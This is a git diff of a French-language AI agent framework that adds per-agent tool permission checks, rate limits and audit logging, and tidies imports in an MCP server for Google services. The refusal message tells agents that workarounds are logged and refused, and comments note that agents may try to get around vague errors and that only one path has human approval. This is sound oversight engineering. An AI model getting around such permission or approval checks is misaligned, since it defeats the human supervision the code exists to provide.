900.0, "default": 60.0, # Pour les outils MCP et autres } # Limites d'appels par session par catégorie d'outil - _TOOL_RATE_LIMITS: Dict[str, int] = { + _TOOL_RATE_LIMITS: dict[str, int] = { "run_terminal_command": 50, # Commandes terminal : max 50 par session "write_file": 100, # Écritures fichier : max 100 par session "read_file": 200, # Lectures fichier : max 200 par session + "map_reduce": 5, # Fan-out DAG : max 5 par session (#T245) "mcp_default": 80, # Outils MCP par défaut : max 80 par session "default": 150, # Tout autre outil : max 150 par session } - async def execute(self, name: str, kwargs: Dict[str, Any]) -> Any: + async def execute(self, name: str, kwargs: dict[str, Any], agent_name: str = None) -> Any: """Exécute l'outil demandé de manière asynchrone avec timeout, rate limiting et sanitization.""" + # [#T233] Refus explicite des outils hors périmètre : ni silence, ni + # « outil inexistant » (qui pousserait l'agent à contourner, cf. #T275). + # Le refus nomme l'agent et l'outil, rappelle les outils autorisés, et + # est journalisé (trace d'audit). Vérifié avant le rate limiting : une + # tentative refusée ne consomme pas de quota de session. + if agent_name is not None: + allowed = self._agent_allowed_tools.get(agent_name) + if allowed is not None and name not in allowed: + refus = ( + f"Erreur permission : l'agent '{agent_name}' n'est pas autorisé à " + f"utiliser l'outil '{name}'. Outils autorisés : " + f"{', '.join(allowed) if allowed else 'aucun'}. " + f"Cette tentative est journalisée ; utilise un outil de ta liste, " + f"tout contournement sera refusé de la même façon." + ) + logger.warning(f"[T233-PERMISSION] {refus}") + return refus + if name not in self._tools: return f"Erreur critique: Tentative d'appel d'un outil non autorisé ou inexistant '{name}'." @@ -177,7 +271,7 @@ async def execute(self, name: str, kwargs: Dict[str, Any]) -> Any: rate_limit_error = self._check_rate_limit(name) if rate_limit_error: return rate_limit_error - + # Validation des arguments par rapport au schéma JSON enregistré (notamment pour les outils MCP) if name in self._schemas: schema = self._schemas[name]["function"].get("parameters") @@ -194,7 +288,17 @@ async def execute(self, name: str, kwargs: Dict[str, Any]) -> Any: return error_msg except Exception as ve_err: logger.error(f"Erreur interne lors de la validation du schéma pour '{name}' : {ve_err}") - + + # [#T273] Trace d'audit des actions à risque. Le point d'approbation + # humaine (#T267) est posé sur le chemin DAG uniquement : tout outil qui + # écrit ou exécute par un autre chemin agit sans supervision possible. + # Cette ligne ne bloque rien — elle rend la surface MESURABLE, faute de + # quoi on ne saurait pas ce qui reste à couvrir. Volontairement en `info` + # et non en `warning` : une alerte permanente et sans objet apprend à + # ignorer le journal (c'est le mécanisme de #T266). + if name in OUTILS_A_RISQUE: + logger.info(f"[T273-AUDIT] Outil à risque exécuté : {name}") + func = self._tools[name] # Timeout configurable par outil timeout = self._TOOL_TIMEOUTS.get(name, self._TOOL_TIMEOUTS["default"]) @@ -208,7 +312,7 @@ async def execute(self, name: str, kwargs: Dict[str, Any]) -> Any: result = await asyncio.wait_for(coro, timeout=timeout) # [AUDIT QW3] Sanitization des secrets avant renvoi au LLM return self._sanitize_output(result) - except asyncio.TimeoutError: + except TimeoutError: logger.error(f"Outil '{name}' a dépassé le timeout de {timeout}s") return f"Erreur : l'outil '{name}' a dépassé le timeout de {timeout}s. Vérifiez l'état de la ressource ou simplifiez la requête." except Exception as e: @@ -229,9 +333,9 @@ def _check_rate_limit(self, name: str) -> str | None: limit = self._TOOL_RATE_LIMITS.get("mcp_default", 80) else: limit = self._TOOL_RATE_LIMITS.get("default", 150) - + current_count = self._call_counts.get(name, 0) - + if current_count >= limit: msg = ( f"Erreur rate_limit : l'outil '{name}' a atteint sa limite de " @@ -241,16 +345,16 @@ def _check_rate_limit(self, name: str) -> str | None: logger.warning(f"[RATE LIMIT] {msg}") self._blocked_tools[name] = msg return msg - + # Incrémenter le compteur et enregistrer le timestamp self._call_counts[name] = current_count + 1 if name not in self._call_timestamps: self._call_timestamps[name] = [] self._call_timestamps[name].append(time.time()) - + return None - def get_usage_stats(self) -> Dict[str, Any]: + def get_usage_stats(self) -> dict[str, Any]: """ Retourne les statistiques d'utilisation des outils. diff --git a/tools/verify_facts_freshness.py b/tools/verify_facts_freshness.py index 6bbcdfd..25448c3 100644 --- a/tools/verify_facts_freshness.py +++ b/tools/verify_facts_freshness.py @@ -12,7 +12,11 @@ python tools/verify_facts_freshness.py """ from __future__ import annotations -import asyncio, os, re, sqlite3, sys + +import asyncio +import os +import sqlite3 +import sys ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # moteur_agents/ WS = os.path.dirname(ROOT) # workspace racine diff --git a/workspace_mcp.py b/workspace_mcp.py index 2f5f730..1f2d2fb 100644 --- a/workspace_mcp.py +++ b/workspace_mcp.py @@ -10,17 +10,17 @@ @version 1.0.0 """ -import sys -import os import asyncio import functools import logging +import os +import sys # Ajouter le répertoire moteur_agents au PYTHONPATH pour les imports sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from mcp.server.fastmcp import FastMCP from dotenv import load_dotenv +from mcp.server.fastmcp import FastMCP load_dotenv() @@ -139,12 +139,12 @@ async def get_calendar_events( client = get_client() if not client.available: return "❌ OAuth non configuré. Exécutez setup_google_oauth.py pour autoriser l'accès Calendar." - + try: events = client.get_calendar_events(calendar_id, max_results) if not events: return "📅 Aucun événement à venir trouvé." - + lines = [f"📅 **{len(events)} événement(s) à venir** (calendrier: {calendar_id})\n"] for i, e in enumerate(events, 1): start = e.get("start", "?") @@ -152,7 +152,7 @@ async def get_calendar_events( location = e.get("location", "") loc_str = f" | 📍 {location}" if location else "" lines.append(f"{i}. **{e['summary']}** — {start} → {end}{loc_str}") - + return "\n".join(lines) except Exception as e: return _safe_error("Google Calendar", e) @@ -168,17 +168,17 @@ async def list_calendars() -> str: client = get_client() if not client.available: return "❌ OAuth non configuré." - + try: calendars = client.get_calendars() if not calendars: return "📅 Aucun calendrier trouvé." - + lines = [f"📅 **{len(calendars)} calendrier(s)** :\n"] for c in calendars: primary = " ⭐" if c.get("primary") else "" lines.append(f"- **{c['summary']}**{primary} | ID: `{c['id']}` | Rôle: {c['access_role']}") - + return "\n".join(lines) except Exception as e: return _safe_error("Google Calendar (liste)", e) @@ -211,16 +211,16 @@ async def search_gmail( client = get_client() if not client.available: return "❌ OAuth non configuré." - + try: messages = client.search_gmail(query, max_results) if not messages: return f"📧 Aucun email trouvé pour : {query}" - + lines = [f"📧 **{len(messages)} email(s)** trouvé(s) pour : \"{query}\"\n"] for i, m in enumerate(messages, 1): lines.append(f"{i}. **{m['subject']}**\n De: {m['from']} | {m['date']}\n {m['snippet'][:120]}...") - + return "\n".join(lines) except Exception as e: return _safe_error("Gmail", e) @@ -243,16 +243,16 @@ async def get_recent_emails( client = get_client() if not client.available: return "❌ OAuth non configuré." - + try: messages = client.get_gmail_messages(max_results, label) if not messages: return f"📧 Aucun email dans {label}." - + lines = [f"📧 **{len(messages)} email(s)** dans {label} :\n"] for i, m in enumerate(messages, 1): lines.append(f"{i}. **{m['subject']}**\n De: {m['from']} | {m['date']}\n {m['snippet'][:120]}...") - + return "\n".join(lines) except Exception as e: return _safe_error("Gmail", e) @@ -278,19 +278,19 @@ async def list_drive_files( client = get_client() if not client.available: return "❌ OAuth non configuré." - + try: files = client.get_drive_files(max_results) if not files: return "📁 Aucun fichier trouvé dans Drive." - + lines = [f"📁 **{len(files)} fichier(s)** Drive récents :\n"] for f in files: size = f.get("size", "0") size_str = f"{int(size) / 1024:.1f} KB" if size != "0" else "—" mime = f.get("mime_type", "").split(".")[-1] if "." in f.get("mime_type", "") else f.get("mime_type", "") lines.append(f"- **{f['name']}** | {mime} | {size_str} | Modifié: {f['modified'][:10]}") - + return "\n".join(lines) except Exception as e: return _safe_error("Google Drive", e) @@ -318,28 +318,28 @@ async def read_sheet( client = get_client() if not client.available: return "❌ OAuth non configuré." - + try: data = client.get_sheets_data(spreadsheet_id, range_notation) values = data.get("values", []) if not values: return f"📊 Aucune donnée dans {range_notation}." - + # Formatage en tableau Markdown lines = [f"📊 **{data.get('rows', 0)} lignes** (plage: {data.get('range', range_notation)})\n"] - + # Header if len(values) > 0: header = " | ".join(str(c) for c in values[0]) lines.append(f"| {header} |") lines.append("|" + "|".join(["---"] * len(values[0])) + "|") - + # Lignes de données for row in values[1:]: # Compléter les lignes courtes padded = row + [""] * (len(values[0]) - len(row)) lines.append("| " + " | ".join(str(c) for c in padded) + " |") - + return "\n".join(lines) except Exception as e: return _safe_error("Google Sheets", e) @@ -365,19 +365,19 @@ async def get_tasks( client = get_client() if not client.available: return "❌ OAuth non configuré." - + try: tasks = client.get_tasks(task_list_id, max_results) if not tasks: return "✅ Aucune tâche en attente." - + lines = [f"📋 **{len(tasks)} tâche(s)** en attente :\n"] for i, t in enumerate(tasks, 1): due = f" | 📅 Échéance: {t['due'][:10]}" if t.get("due") else "" notes = f"\n 💬 {t['notes'][:100]}" if t.get("notes") else "" status_icon = "✅" if t.get("status") == "completed" else "⬜" lines.append(f"{i}. {status_icon} **{t['title']}**{due}{notes}") - + return "\n".join(lines) except Exception as e: return _safe_error("Google Tasks", e) @@ -392,16 +392,16 @@ async def list_task_lists() -> str: client = get_client() if not client.available: return "❌ OAuth non configuré." - + try: lists = client.get_task_lists() if not lists: return "📋 Aucune liste de tâches trouvée." - + lines = [f"📋 **{len(lists)} liste(s)** de tâches :\n"] for tl in lists: lines.append(f"- **{tl['title']}** | ID: `{tl['id']}` | Modifié: {tl.get('updated', '?')[:10]}") - + return "\n".join(lines) except Exception as e: return _safe_error("Google Tasks (listes)", e) @@ -426,18 +426,18 @@ async def get_contacts( client = get_client() if not client.available: return "❌ OAuth non configuré." - + try: contacts = client.get_contacts(max_results) if not contacts: return "👥 Aucun contact trouvé." - + lines = [f"👥 **{len(contacts)} contact(s)** :\n"] for c in contacts: email = f" | 📧 {c['email']}" if c.get("email") else "" phone = f" | 📞 {c['phone']}" if c.get("phone") else "" lines.append(f"- **{c['name']}**{email}{phone}") - + return "\n".join(lines) except Exception as e: return _safe_error("Google Contacts", e) @@ -463,16 +463,16 @@ async def search_youtube( client = get_client() if not client.available: return "❌ OAuth non configuré." - + try: videos = client.search_youtube(query, max_results) if not videos: return f"🎬 Aucune vidéo trouvée pour : {query}" - + lines = [f"🎬 **{len(videos)} vidéo(s)** pour : \"{query}\"\n"] for i, v in enumerate(videos, 1): lines.append(f"{i}. **{v['title']}**\n 🎥 {v['channel']} | {v['published'][:10]}\n 🔗 {v['url']}") - + return "\n".join(lines) except Exception as e: return _safe_error("YouTube", e)